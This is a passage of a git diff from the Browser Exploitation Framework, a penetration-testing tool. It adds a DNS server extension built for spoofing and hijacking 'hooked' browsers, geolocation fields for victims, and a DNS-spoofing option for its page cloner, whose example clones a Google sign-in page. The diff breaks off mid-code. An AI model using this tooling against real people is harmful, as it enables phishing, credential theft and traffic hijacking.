@@ -16,6 +16,18 @@ def print_info(s)
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[*]'.blue+' '+s
end
# Function used to print information to the console (wraps print_info)
# @param [String] s String to be printed
def print_status(s)
print_info(s)
end
# Function used to print warning information
# @param [String] s String to be printed
def print_warning(s)
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[!]'.yellow+' '+s.to_s
end
# Function used to print debug information
# @param [String] s String to be printed
# @note This function will only print messages if the debug flag is set to true
@@ -32,6 +44,12 @@ def print_success(s)
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[+]'.green+' '+s
end
# Function used to print successes to the console (wraps print_success)
# @param [String] s String to be printed
def print_good(s)
print_success(s)
end
# Print multiple lines with decoration split by the return character
# @param [String] s String to be printed
# @note The string passed needs to be separated by the "\n" for multiple lines to be printed

View File

@@ -69,8 +69,12 @@ class Modules < BeEF::Extension::AdminUI::HttpController
['Browser', 'Browser Name', 'BrowserName'],
['Browser', 'Browser Version', 'BrowserVersion'],
['Browser', 'Browser UA String', 'BrowserReportedName'],
['Browser', 'Browser Language', 'BrowserLanguage'],
['Browser', 'Browser Platform', 'BrowserPlatform'],
['Browser', 'Browser Plugins', 'BrowserPlugins'],
['Browser', 'Using Proxy', 'UsingProxy'],
['Browser', 'Proxy Client', 'ProxyClient'],
['Browser', 'Proxy Server', 'ProxyServer'],
['Browser', 'Window Size', 'WindowSize'],
# Browser Components
@@ -91,6 +95,20 @@ class Modules < BeEF::Extension::AdminUI::HttpController
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
# Geolocation
['Location', 'City', 'LocationCity'],
['Location', 'Country', 'LocationCountry'],
['Location', 'CountryCode2', 'LocationCountryCode2'],
['Location', 'CountryCode3', 'LocationCountryCode3'],
['Location', 'Continent', 'LocationContinentCode'],
['Location', 'Post Code', 'LocationPostCode'],
['Location', 'Latitude', 'LocationLatitude'],
['Location', 'Longitude', 'LocationLongitude'],
['Location', 'DMA Code', 'LocationDMACode'],
['Location', 'Area Code', 'LocationAreaCode'],
['Location', 'Timezone', 'LocationTimezone'],
['Location', 'Region', 'LocationRegionName'],
# Hooked Page
['Hooked Page', 'Page Title', 'PageTitle'],
['Hooked Page', 'Page URI', 'PageURI'],
@@ -103,6 +121,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
['Host', 'Operating System', 'OsName'],
['Host', 'Hardware', 'Hardware'],
['Host', 'CPU', 'CPU'],
['Host', 'Default Browser', 'DefaultBrowser'],
['Host', 'Screen Size', 'ScreenSize'],
['Host', 'Touch Screen', 'TouchEnabled']
]
@@ -326,29 +345,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
if(dynamic_modules != nil)
all_modules = BeEF::Core::Models::CommandModule.all(:order => [:id.asc])
all_modules.each{|dyn_mod|
next if !dyn_mod.path.split('/').first.match(/^Dynamic/)
hook_session_id = @params['zombie_session'] || nil
(print_error "hook_session_id is nil";return) if hook_session_id.nil?
dyn_mod_name = dyn_mod.path.split('/').last
dyn_mod_category = nil
if(dyn_mod_name == "Msf")
dyn_mod_category = "Metasploit"
else
# future dynamic modules...
end
print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
command_mod.session_id = hook_session_id
command_mod.update_info(dyn_mod.id)
command_mod_name = command_mod.info['Name'].downcase
# create url path and file for the command module icon
#command_module_status = set_command_module_status(command_mod)
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
command_module_icon_path = set_command_module_icon(command_mod)
next if !dyn_mod.path.split('/')[1].match(/^metasploit/)
command_mod_name = dyn_mod["name"]
dyn_mod_category = "Metasploit"
command_module_status = set_command_module_status(command_mod_name)
command_module_icon_path = set_command_module_icon(command_module_status)
update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name,dyn_mod.id)
}

View File

@@ -285,6 +285,7 @@ class ShellInterface
['Browser', 'Browser Name', 'BrowserName'],
['Browser', 'Browser Version', 'BrowserVersion'],
['Browser', 'Browser UA String', 'BrowserReportedName'],
['Browser', 'Browser Language', 'BrowserLanguage'],
['Browser', 'Browser Platform', 'BrowserPlatform'],
['Browser', 'Browser Plugins', 'BrowserPlugins'],
['Browser', 'Window Size', 'WindowSize'],
@@ -319,6 +320,7 @@ class ShellInterface
['Host', 'Operating System', 'OsName'],
['Host', 'Hardware', 'Hardware'],
['Host', 'CPU', 'CPU'],
['Host', 'Default Browser', 'DefaultBrowser'],
['Host', 'Screen Size', 'ScreenSize'],
['Host', 'Touch Screen', 'TouchEnabled']
]

View File

@@ -18,7 +18,7 @@
<body>
<script>
setTimeout("beef.dom.createIframe('fullscreen','get',{'src':'<%= @customhook_target %>'},{},null)",2000);
setTimeout("beef.dom.createIframe('fullscreen', {'src':'<%= @customhook_target %>'},{},null)",2000);
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
//Porco dio - and away we go!

70
extensions/dns/api.rb Normal file
View File

@@ -0,0 +1,70 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Dns
module API
module NameserverHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::Dns::API::NameserverHandler,
BeEF::API::Server,
'pre_http_start'
)
BeEF::API::Registrar.instance.register(
BeEF::Extension::Dns::API::NameserverHandler,
BeEF::API::Server,
'mount_handler'
)
# Begins main DNS server run-loop at BeEF startup
def self.pre_http_start(http_hook_server)
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
address = dns_config['address']
port = dns_config['port']
dns = BeEF::Extension::Dns::Server.instance
dns.run_server(address, port)
print_info "DNS Server: #{address}:#{port}"
servers = []
unless dns_config['upstream'].nil?
dns_config['upstream'].each do |server|
if server[1].nil? or server[2].nil?
next
end
if server[0] == 'tcp'
servers << ['tcp', server[1], server[2]]
elsif server[0] == 'udp'
servers << ['udp', server[1], server[2]]
end
end
end
if servers.empty?
servers << ['tcp', '8.8.8.8', 53]
servers << ['udp', '8.8.8.8', 53]
end
upstream_servers = ''
servers.each do |server|
upstream_servers << "Upstream server: #{server[1]}:#{server[2]} (#{server[0]})\n"
end
print_more upstream_servers
end
# Mounts handler for processing RESTful API calls
def self.mount_handler(beef_server)
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
end
end
end
end
end
end

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
extension:
dns:
enable: false
name: 'DNS Server'
authors: ['soh_cah_toa']
address: '127.0.0.1'
port: 5300
upstream:
[['tcp', '8.8.8.8', 53], ['udp', '8.8.8.8', 53]]

167
extensions/dns/dns.rb Normal file
View File

@@ -0,0 +1,167 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Dns
# This class is responsible for providing a DNS nameserver that can be dynamically
# configured by other modules and extensions. It is particularly useful for
# performing DNS spoofing, hijacking, tunneling, etc.
#
# Only a single instance will exist during runtime (known as the "singleton pattern").
# This makes it easier to coordinate actions across the various BeEF systems.
class Server
include Singleton
attr_reader :address, :port
# @!method self.instance
# Returns the singleton instance. Use this in place of {#initialize}.
# @note This method cannot be invoked! Use {.instance} instead.
# @see ::instance
def initialize
@lock = Mutex.new
@server = nil
end
def set_server(server)
@server = server
end
def get_server
@server
end
# Starts the main DNS server run-loop in a new thread.
#
# @param address [String] interface address server should run on
# @param port [Integer] desired server port number
def run_server(address = '0.0.0.0', port = 5300)
@address = address
@port = port
Thread.new do
sleep(2)
# antisnatchor: RubyDNS is already implemented with EventMachine
run_server_block(@address, @port)
end
end
# Adds a new DNS rule or "resource record". Does nothing if rule is already present.
#
# @example Adds an A record for foobar.com with the value 1.2.3.4
#
# dns = BeEF::Extension::Dns::Server.instance
#
# id = dns.add_rule('foobar.com', Resolv::DNS::Resource::IN::A) do |transaction|
# transaction.respond!('1.2.3.4')
# end
#
# @param pattern [String, Regexp] query pattern to recognize
# @param type [Resolv::DNS::Resource::IN] resource record type (e.g. A, CNAME, NS, etc.)
#
# @note When parameter 'pattern' is a literal Regexp object, it must NOT be passed
# using the /.../ literal syntax. Instead use either %r{...} or Regexp::new.
# This does not apply if 'pattern' is a variable.
#
# @yield callback to invoke when pattern is matched
# @yieldparam transaction [RubyDNS::Transaction] details of query question and response
#
# @return [String] unique 7-digit hex identifier for use with {#remove_rule}
#
# @see #remove_rule
# @see http://rubydoc.info/gems/rubydns/RubyDNS/Transaction
def add_rule(pattern, type, &block)
@lock.synchronize { @server.match(pattern, type, block) }
end
# Removes the given DNS rule. Any future queries for it will be passed through.
#
# @param id [Integer] id returned from {#add_rule}
#
# @return [Boolean] true on success, false on failure
#
# @see #add_rule
def remove_rule(id)
@lock.synchronize { @server.remove_rule(id) }
end
# Retrieves a specific rule given its id
#
# @param id [Integer] unique identifier for rule
#
# @return [Hash] hash representation of rule
def get_rule(id)
@lock.synchronize { @server.get_rule(id) }
end
# Returns an AoH representing the entire current DNS ruleset.
#
# Each element is a hash with the following keys:
#
# * <code>:id</code>
# * <code>:pattern</code>
# * <code>:type</code>
# * <code>:response</code>
#
# @return [Array<Hash>] DNS ruleset (empty if no rules are currently loaded)
def get_ruleset
@lock.synchronize { @server.get_ruleset }
end
# Clears the entire DNS ruleset.
#
# Requests made after doing so will be passed through to the root nameservers.
#
# @return [Boolean] true on success, false on failure
def remove_ruleset
@lock.synchronize { @server.remove_ruleset }
end
private
# Common code needed by {#run_server} to start DNS server.
#
# @param address [String] interface address server should run on
# @param port [Integer] desired server port number
def run_server_block(address, port)
RubyDNS.run_server(:listen => [[:udp, address, port]]) do
# Pass unmatched queries upstream to root nameservers
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
unless dns_config['upstream'].nil?
dns_config['upstream'].each do |server|
if server[1].nil? or server[2].nil?
print_error "Invalid server '#{server[1]}:#{server[2]}' specified for upstream DNS server."
next
elsif server[0] == 'tcp'
servers << [:tcp, server[1], server[2]]
elsif server[0] == 'udp'
servers << [:udp, server[1], server[2]]
else
print_error "Invalid protocol '#{server[0]}' specified for upstream DNS server."
end
end
end
if servers.empty?
print_debug "No upstream DNS servers specified. Using '8.8.8.8'"
servers << [:tcp, '8.8.8.8', 53]
servers << [:udp, '8.8.8.8', 53]
end
otherwise do |transaction|
transaction.passthrough!(
RubyDNS::Resolver.new servers
)
end
end
end
end
end
end
end

View File

@@ -0,0 +1,26 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Dns
extend BeEF::API::Extension
@short_name = 'dns'
@full_name = 'DNS Server'
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
'hijacking, and other related attacks against hooked browsers.'
end
end
end
#TODO antisnatchor: uncomment this when code will be stable
#require 'extensions/dns/api'
#require 'extensions/dns/dns'
#require 'extensions/dns/model'
#require 'extensions/dns/rest/dns'
#require 'extensions/dns/ruby'

27
extensions/dns/model.rb Normal file
View File

@@ -0,0 +1,27 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
module Dns
class Rule
include DataMapper::Resource
storage_names[:default] = 'extension_dns_rules'
property :id, String, :key => true # Unique identifier
property :pattern, Object # Query pattern
property :type, Object # Resource type
property :block, Text # Associated callback
end
end
end
end
end

261
extensions/dns/rest/dns.rb Normal file
View File

@@ -0,0 +1,261 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Dns
# This class handles the routing of RESTful API requests that query BeEF's DNS server
class DnsRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
# Require a valid API token from a valid IP address
halt 401 unless params[:token] == config.get('beef.api_token')
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
# Returns the entire current DNS ruleset
get '/ruleset' do
begin
ruleset = BeEF::Extension::Dns::Server.instance.get_ruleset
count = ruleset.length
result = {}
result[:count] = count
result[:ruleset] = ruleset
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
halt 500
end
end
# Returns a specific rule given its id
get '/rule/:id' do
begin
id = params[:id]
unless BeEF::Filters.alphanums_only?(id)
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
end
result = BeEF::Extension::Dns::Server.instance.get_rule(id)
halt 404 if result.length == 0
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
halt 500
end
end
# Adds a new DNS rule
post '/rule' do
begin
body = JSON.parse(request.body.read)
pattern = body['pattern']
type = body['type']
response = body['response']
valid_types = ["A", "AAAA", "CNAME", "HINFO", "MINFO", "MX", "NS", "PTR", "SOA", "TXT", "WKS"]
# Validate required JSON keys
unless [pattern, type, response].include?(nil)
# Determine whether 'pattern' is a String or Regexp
begin
# if pattern is a Regexp, then create a new Regexp object
if %r{\A/(.*)/([mix]*)\z} =~ pattern
pattern = Regexp.new(pattern)
end
rescue => e;
end
if response.class == Array
if response.length == 0
raise InvalidJsonError, 'Empty "response" key passed to endpoint /api/dns/rule'
end
else
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule'
end
safe_response = true
response.each do |ip|
unless BeEF::Filters.is_valid_ip?(ip)
safe_response = false
break
end
end
unless safe_response
raise InvalidJsonError, 'Invalid IP in "response" key passed to endpoint /api/dns/rule'
end
unless BeEF::Filters.is_non_empty_string?(pattern)
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
end
unless BeEF::Filters.is_non_empty_string?(type) && BeEF::Filters.alphanums_only?(type) && valid_types.include?(type)
raise InvalidJsonError, 'Wrong "type" key passed to endpoint /api/dns/rule'
end
id = ''
block_src = format_response(type, response)
# antisnatchor: would be unsafe eval, but I added 2 validations before (alpha-num only and list of valid types)
# Now it's safe
type_obj = eval "Resolv::DNS::Resource::IN::#{type}"
id = BeEF::Extension::Dns::Server.instance.get_server.match(pattern, type_obj, block_src)
result = {}
result['success'] = true
result['id'] = id
result.to_json
end
rescue InvalidJsonError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while adding DNS rule (#{e.message})"
halt 500
end
end
# Removes a rule given its id
delete '/rule/:id' do
begin
id = params[:id]
unless BeEF::Filters.alphanums_only?(id)
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
end
result = {}
result['success'] = BeEF::Extension::Dns::Server.instance.remove_rule(id)
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
halt 500
end
end
private
# Generates a formatted string representation of the callback to invoke as a response.
#
# @param [String] type resource record type (e.g. A, CNAME, NS, etc.)
# @param [Array] rdata record data to include in response
#
# @return [String] string representation of response callback
def format_response(type, rdata)
src = 'proc { |t| t.respond!(%s) }'
args = case type
when 'A'
data = {:address => rdata[0]}
sprintf "'%<address>s'", data
when 'AAAA'
data = {:address => rdata[0]}
sprintf "'%<address>s'", data
when 'CNAME'
data = {:cname => rdata[0]}
sprintf "Resolv::DNS::Name.create('%<cname>s')", data
when 'HINFO'
data = {:cpu => rdata[0], :os => rdata[1]}
sprintf "'%<cpu>s', '%<os>s'", data
when 'MINFO'
data = {:rmailbx => rdata[0], :emailbx => rdata[1]}
sprintf "Resolv::DNS::Name.create('%<rmailbx>s'), " +
"Resolv::DNS::Name.create('%<emailbx>s')",
data
when 'MX'
data = {:preference => rdata[0], :exchange => rdata[1]}
sprintf "%<preference>d, Resolv::DNS::Name.create('%<exchange>s')", data
when 'NS'
data = {:nsdname => rdata[0]}
sprintf "Resolv::DNS::Name.create('%<nsdname>s')", data
when 'PTR'
data = {:ptrdname => rdata[0]}
sprintf "Resolv::DNS::Name.create('%<ptrdname>s')", data
when 'SOA'
data = {
:mname => rdata[0],
:rname => rdata[1],
:serial => rdata[2],
:refresh => rdata[3],
:retry => rdata[4],
:expire => rdata[5],
:minimum => rdata[6]
}
sprintf "Resolv::DNS::Name.create('%<mname>s'), " +
"Resolv::DNS::Name.create('%<rname>s'), " +
'%<serial>d, ' +
'%<refresh>d, ' +
'%<retry>d, ' +
'%<expire>d, ' +
'%<minimum>d',
data
when 'TXT'
data = {:txtdata => rdata[0]}
sprintf "'%<txtdata>s'", data
when 'WKS'
data = {
:address => rdata[0],
:protocol => rdata[1],
:bitmap => rdata[2]
}
sprintf "'%<address>s', %<protocol>d, %<bitmap>d", data
else
raise InvalidJsonError, 'Unknown "type" key passed to endpoint /api/dns/rule'
end
sprintf(src, args)
end
# Raised when invalid JSON input is passed to an /api/dns handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/dns handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
end
end
end
end

7
extensions/dns/ruby.rb Normal file
View File

@@ -0,0 +1,7 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'extensions/dns/ruby/logger'
require 'extensions/dns/ruby/rubydns'

View File

@@ -0,0 +1,27 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Overrives the logger used by RubyDNS to use BeEF's {#print_info} and friends.
class Logger
def debug(msg)
print_debug "DNS Server: #{msg}"
end
def info(msg)
print_info "DNS Server: #{msg}"
end
def error(msg)
print_error "DNS Server: #{msg}"
end
def warn(msg)
print_error "DNS Server: #{msg}"
end
end

View File

@@ -0,0 +1,253 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This module is a modified version of RubyDNS built to be compatible with BeEF.
# For the most part, it will behave exactly the same except where otherwise noted.
#
# Additional features include database support, BeEF logger, assignment of unique
# identifiers to rules, rule removal, and more.
#
# The core functionality of BeEF's DNS server is implemented here, whereas
# BeEF::Extension::Dns::Server is simply a small wrapper around it.
#
# @see http://rubydoc.info/gems/rubydns/frames
module RubyDNS
# Behaves exactly the same, except without any logger output
def self.run_server(options = {}, &block)
server = RubyDNS::Server.new(&block)
BeEF::Extension::Dns::Server.instance.set_server(server)
options[:listen] ||= [[:udp, '0.0.0.0', 53], [:tcp, '0.0.0.0', 53]]
EventMachine.run do
server.fire(:setup)
options[:listen].each do |spec|
if spec[0] == :udp
EventMachine.open_datagram_socket(spec[1], spec[2], UDPHandler, server)
elsif spec[0] == :tcp
EventMachine.start_server(spec[1], spec[2], TCPHandler, server)
end
end
server.load_rules
server.fire(:start)
end
server.fire(:stop)
end
class Server
class Rule
attr_accessor :id
# Now uses an 'id' parameter to uniquely identify rules
def initialize(id, pattern, callback)
@id = id
@pattern = pattern
@callback = callback
end
end
# New method that loads all rules from the database at server startup
def load_rules
BeEF::Core::Models::Dns::Rule.each do |rule|
id = rule.id
pattern = [rule.pattern, rule.type]
# antisnatchor: this would be unsafe, but input gets validated in extensions/dns/rest/dns.rb (lines 95 to 105)
# in this case input comes from the DB, but that data stored in the DB was originally coming from the now safe code
block = eval rule.block
regex = pattern[0]
pattern[0] = Regexp.new(regex) if regex =~ /^\(\?-mix:/
@rules << Rule.new(id, pattern, block)
end
end
# Now includes BeEF database support and checks for already present rules
def match(*pattern, block)
id = ''
catch :match do
begin
# Sourcify block (already a string only for RESTful API calls)
block_src = case block
when String then
block
when Proc then
block.to_source
end
# Break out and return id if rule is already present
BeEF::Core::Models::Dns::Rule.each do |rule|
if pattern[0] == rule.pattern &&
pattern[1] == rule.type &&
block_src == rule.block
id = rule.id
throw :match
end
end
id = generate_id
if @rules == nil
@rules = []
end
case block
when String
# antisnatchor: this would be unsafe, but input gets validated in extensions/dns/rest/dns.rb (lines 95 to 105)
@rules << Rule.new(id, pattern, eval(block_src))
when Proc
@rules << Rule.new(id, pattern, block)
end
BeEF::Core::Models::Dns::Rule.create(
:id => id,
:pattern => pattern[0].to_s,
:type => pattern[1],
:block => block_src
)
rescue Sourcify::CannotHandleCreatedOnTheFlyProcError,
Sourcify::CannotParseEvalCodeError,
Sourcify::MultipleMatchingProcsPerLineError,
Sourcify::NoMatchingProcError,
Sourcify::ParserInternalError
@logger.error "Failed to sourcify block for DNS rule '#{id}'"
raise
end
end
id
end
# New method that removes a rule given its id and returns boolean result
def remove_rule(id)
@rules.delete_if { |rule| rule.id == id }
rule = BeEF::Core::Models::Dns::Rule.get(id)
rule != nil ? rule.destroy : false
end
# New method that returns a hash representing the given rule
def get_rule(id)
result = {}
begin
rule = BeEF::Core::Models::Dns::Rule.get!(id)
result[:id] = rule.id
result[:pattern] = rule.pattern
result[:type] = rule.type.to_s.split('::')[-1]
result[:response] = parse_response(rule.block)
rescue DataMapper::ObjectNotFoundError => e
@logger.error(e.message)
end
result
end
# New method that returns the entire DNS ruleset as an AoH
def get_ruleset
result = []
BeEF::Core::Models::Dns::Rule.each do |rule|
element = {}
element[:id] = rule.id
element[:pattern] = rule.pattern
element[:type] = rule.type.to_s.split('::')[-1]
element[:response] = parse_response(rule.block)
result << element
end
result
end
# New method that removes the entire DNS ruleset
def remove_ruleset
@rules = []
BeEF::Core::Models::Dns::Rule.destroy
end
private
# New method that generates a unique id for a rule
def generate_id
begin
id = BeEF::Core::Crypto.secure_token.byteslice(0..6)
# Make sure id isn't already in use
BeEF::Core::Models::Dns::Rule.each { |rule| throw StandardError if id == rule.id }
rescue StandardError
retry
end
id
end
# New method that parses response callback and returns RDATA as an array
def parse_response(block)
# Extract response arguments into an array
methods = '(respond|failure)'
args = /(?<=\.#{methods}!\().*(?=\))/.match(block).to_s.split(/,\s*/)
result = []
# Determine whether each argument is a domain name, integer, or IP address
args.each do |elem|
arg = nil
if /Name\.create\((.*)\)/.match(elem)
arg = $1
elsif /:(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)/.match(elem)
arg = $1.upcase
else
int_test = elem.to_i
arg = (int_test != 0 ? int_test : elem)
end
arg.gsub!(/['"]/, '') unless arg.is_a?(Integer)
result << arg
end
result
end
end
class Transaction
# Behaves exactly the same, except using debug logger instead of info
def respond!(*data)
options = data.last.kind_of?(Hash) ? data.pop : {}
resource_class = options[:resource_class] || @resource_class
if resource_class == nil
raise ArgumentError, "Could not instantiate resource #{resource_class}!"
end
@server.logger.debug("Resource class: #{resource_class.inspect}")
resource = resource_class.new(*data)
@server.logger.debug("Resource: #{resource.inspect}")
append!(resource, options)
end
end
end

View File

@@ -48,6 +48,27 @@ module BeEF
#m.split('/')[0...-1].each{|c|
# categories.push(c.capitalize)
#}
if m_details['description'] =~ /Java|JVM|flash|Adobe/i
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ["ALL"]}
elsif m_details['description'] =~ /IE|Internet\s+Explorer/i
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["IE"]}
elsif m_details['description'] =~ /Firefox/i
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["FF"]}
elsif m_details['description'] =~ /Chrome/i
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["C"]}
elsif m_details['description'] =~ /Safari/i
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["S"]}
elsif m_details['description'] =~ /Opera/i
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["O"]}
end
#TODO:
# - Add support for detection of target OS
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
# - Add support for multiple target browsers as currently only 1 browser will match or all
msf_module_config[key] = {
'enable'=> true,
'msf'=> true,
@@ -57,7 +78,8 @@ module BeEF
'description'=> m_details['description'],
'authors'=> m_details['references'],
'path'=> path,
'class'=> 'Msf_module'
'class'=> 'Msf_module',
'target'=> target_browser
}
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil])

View File

@@ -21,7 +21,7 @@ module Channels
@config = BeEF::Core::Configuration.instance
# configure the Twitter client
Twitter.configure do |config|
client = Twitter::REST::Client.new do |config|
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
@@ -29,7 +29,7 @@ module Channels
end
begin
Twitter.direct_message_create(username, message)
client.direct_message_create(username, message)
rescue
print "Twitter send failed, verify tokens have Read/Write/DM acceess..\n"
end

View File

@@ -8,6 +8,8 @@ beef:
notifications:
enable: false
name: Notifications
# Make sure you do 'gem install twitter' before enabling this feature. Leaving the twitter gem
# in the Gemfile causes dependency issues, and this twitter feature isn't used much anyway.
twitter:
enable: false
consumer_key: app_consumer_key

View File

@@ -20,10 +20,15 @@ module BeEF
'Expires' => '0'
end
#Example: curl -H "Content-Type: application/json; charset=UTF-8"
#-d '{"url":"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=
#https://mail.google.com/mail/&ss=1&scc=1&ltmpl=default&ltmplcache=2", "mount":"/url"}'
#-X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d json_body
# -X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
#
# Example json_body:
# {
# "url": "https://accounts.google.com/ServiceLogin?service=mail&continue=https://mail.google.com/mail/"
# "mount": "/gmail",
# "dns_spoof": true
# }
post '/clone_page' do
request.body.rewind
begin
@@ -31,6 +36,7 @@ module BeEF
uri = body["url"]
mount = body["mount"]
use_existing = body["use_existing"]
dns_spoof = body["dns_spoof"]
if uri != nil && mount != nil
if (uri =~ URI::regexp).nil? #invalid URI
@@ -44,7 +50,8 @@ module BeEF
end
web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance
success = web_cloner.clone_page(uri,mount,use_existing)
success = web_cloner.clone_page(uri, mount, use_existing, dns_spoof)
if success
result = {
"success" => true,
@@ -95,14 +102,14 @@ module BeEF
halt 401
end
if (link =~ URI::regexp).nil?#invalid URI
if (link =~ URI::regexp).nil? #invalid URI
print_error "Invalid link or linktext"
halt 401
end
recipients = body["recipients"][0]
recipients.each do |email,name|
recipients.each do |email, name|
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
print_error "Email [#{email}] or name [#{name}] are not valid/null."
halt 401
@@ -125,4 +132,4 @@ module BeEF
end
end
end
end
end

View File

@@ -7,9 +7,9 @@ module BeEF
module Extension
module SocialEngineering
class WebCloner
require 'socket'
include Singleton
def initialize
@http_server = BeEF::Core::Server.instance
@config = BeEF::Core::Configuration.instance
@@ -17,7 +17,7 @@ module BeEF
@beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
end
def clone_page(url, mount, use_existing)
def clone_page(url, mount, use_existing, dns_spoof)
print_info "Cloning page at URL #{url}"
uri = URI(url)
output = uri.host
@@ -35,8 +35,9 @@ module BeEF
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
#
if use_existing.nil? || use_existing == false
begin #,"--background"
IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate"], 'r+') do |wget_io| end
begin #,"--background"
IO.popen(["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", "--no-check-certificate"], 'r+') do |wget_io|
end
success = true
rescue => e
print_error "Errors executing wget: #{e}"
@@ -108,11 +109,23 @@ module BeEF
interceptor.set :frameable, frameable
interceptor.set :beef_hook, @beef_hook
interceptor.set :cloned_page, get_page_content(file_path)
interceptor.set :db_entry, persist_page(url,mount)
interceptor.set :db_entry, persist_page(url, mount)
@http_server.mount("#{mount}", interceptor.new)
print_info "Mounting cloned page on URL [#{mount}]"
@http_server.remap
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
if dns_spoof
dns = BeEF::Extension::Dns::Server.instance
ip = Socket.ip_address_list.detect { |i| !(i.ipv4_loopback? || i.ipv6_loopback?) }
